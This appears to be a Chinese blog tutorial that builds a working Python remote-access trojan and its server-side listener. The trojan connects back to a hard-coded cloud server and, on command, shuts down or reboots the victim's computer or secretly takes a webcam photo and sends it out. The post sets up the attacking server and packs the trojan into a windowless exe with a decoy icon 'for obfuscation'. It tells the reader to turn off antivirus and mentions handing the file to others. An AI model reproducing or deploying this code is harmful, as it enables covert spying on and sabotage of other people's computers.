experiment-introduction

2025-07-01补:再复现该实验时出现了一个之前没有的问题,该木马现在疑似需要在被攻击机上安装opencv,之前并不需要。

该木马可以使宿主机的电脑关机,重启,打开摄像头自拍…(更多内容待补充)

话不多说,直接上代码

如下为后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from socket import* #导入网络编程的模块
#1.创建套接字
s = socket()
s.bind(('0.0.0.0',8888)) #2.绑定地址
s.listen(10) #3.设置监听
c,addr = s.accept() #4.等待处理客户端连接
print("Connect from",addr) #打印客户端地址

print('1.2.3')
choice = input('请输入选择:') #输入选择
c.send(choice.encode()) #发送选择

if choice == '3':
file_size = int(c.recv(1024).decode()) #接收图片大小
c.send('ok'.encode()) #发送消息给后台

with open('screenshot.jpg','wb') as file: #打开文件
total_size = 0 #初始化总大小
while total_size < file_size: #循环接收图片
data = c.recv(1024) #接收图片
##total_size += len(data) #计算总大小
file.write(data) #写入文件
total_size += len(data) #计算总大小
###print('图片接收完成') #打印消息

我们如果没有2台电脑要做实验可以在阿里云服务器开一个云服务器ECS试用,在上面布置一个实例

(核心思路是我们操作服务器的远程电脑来攻击自己的电脑)

这里选win server,其他默认

点进我们的实例名称,全部操作,重置实例密码

然后选中该实例,点击安全组

点击管理规则,点击手动添加

这里目的填你装后台代码的绑定的地址,源填0.0.0.0/0,然后保存

回到实例,这里看到ip地址是60.205.145.157,复制下来

然后win+r mstsc 登录,注意当时设置密码时账户名是administrator,所以要改成这个

然后就能远程连接了,把python安装包放进去,然后安装,然后把后台.py放进去

点击run

然后我们把木马.py的文件的ip地址绑定到该服务器的ip,(即发动攻击的主机的地址60.205.145.157),端口也是8888,服务器实例当时创建的端口是8888,因此木马.py和后台.py的端口地址都要改成8888

如下为木马段(记得将其中的ip改为服务器的ip):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from socket import* #导入网络编程的模块
import os #导入操作系统的模块
import cv2 #导入计算机视觉的模块

c = socket() #创建套接字
c.connect(('60.205.145.157',8888)) #连接服务器(ip换目标的)

choice = c.recv(1024).decode() #接收消息
if choice == '1': #如果选择1
os.system('shutdown -s -t 1') # 关机

elif choice == '2': #如果选择2
os.system('shutdown -r -t 1') # 重启

elif choice == '3': #如果选择3
cap = cv2.VideoCapture(0) # 1.打开摄像头(0表示默认摄像头,1表示外接摄像头)
ret, frame = cap.read() # 2.读取摄像头数据
ret, frame = cap.read() # 2.重新读取摄像头数据
cv2.imwrite('camera.jpg', frame) # 3.保存图片
cap.release() # 4.释放摄像头

file_size = os.path.getsize('camera.jpg') # 5.获取图片大小

#c???

c.send(str(file_size).encode()) # 6.发送图片大小
c.recv(1024).decode() # 7.等待接收消息

with open('camera.jpg','rb') as file: # 8.打开图片
for data in file: # 9.读取图片数据
c.send(data) # 10.发送图片数据


# s.send('!!'.encode()) # 5.发送消息给后台


# c.send('ok'.encode()) # 5.发送消息
# with open('camera.jpg','rb') as f: # 6.打开图片
# data = f.read() # 7.读取图片数据
# c.send(data) # 8.发送图片数据

然后我们把我们的木马打包成exe文件

如何打包呢

先记得关防护

然后

1
2
3
4
5
6
7
8
9
10
11
安装pillow
py -m pip install Pillow
打开摄像头! 安装opencv-python
1.按下WIN+R键 输入cmd回车 输入pip3 install opencv-python
2.导入import cv2

1.按下WIN+R键 输入cmd回车 输入pip3 install pyinstaller
2.在文件路径中输入cmd回车 输入pyinstaller -F -w -i 321.png 木马.py

//
python -m Pyinstaller -F -w -i 321.png 木马.py

该处321.png要和你的木马.py放在同一个目录下,目的是混淆,给该exe文件贴个图

如果返回类似C:\Users\16289\AppData\Local\Programs\Python\Python312\python.exe: No module named pyinstaller

直接输入下载的pyinstaller文件路径,后面照常,来运行,如:

C:\Users\16289\AppData\Local\Programs\Python\Python312\Scripts\pyinstaller.exe -F -w -i 321.png 木马.py

运行完后发现木马.py所在的目录下有2个包,一个dist,一个build,一个木马.spec

在dist目录下有个exe文件包,然后点击运行这个包

输入3,远程连接的实例下电脑桌面上会出现摄像头捕捉到的照片(如果包是给别人,自己当发动攻击的主机在此时dist文件夹下也会出现照片)

此时该screnshot即为拍摄到的照片